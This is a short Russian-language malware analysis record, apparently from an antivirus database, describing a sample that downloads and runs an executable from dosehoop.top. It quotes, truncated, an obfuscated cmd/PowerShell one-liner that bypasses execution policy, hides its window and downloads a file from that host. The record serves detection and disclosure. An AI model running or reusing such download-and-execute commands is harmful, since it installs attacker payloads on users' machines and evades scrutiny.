Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://dosehoop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "Po^WE^R^SHEll^.Ex^E^ -E^X^e^C^UTI^O^NpOLic^Y^ b^yPAS^S^ -^N^OpRO^fIl^E ^-^W^INdOWStYLe h^iD^DEn^ (NEW-Ob^JE^C^t sySTeM^.n^E^T.WEB^ClieN^t)^.^Do^wn^LOaDF^ILE^('http://doseho...
Сетевая активность
UDP
- DNS ASK do###oop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "Po^WE^R^SHEll^.Ex^E^ -E^X^e^C^UTI^O^NpOLic^Y^ b^yPAS^S^ -^N^OpRO^fIl^E ^-^W^INdOWStYLe h^iD^DEn^ (NEW-Ob^JE^C^t sySTeM^.n^E^T.WEB^ClieN^t)^.^Do^wn^LOaDF^ILE^('http://doseho...' (со скрытым окном)
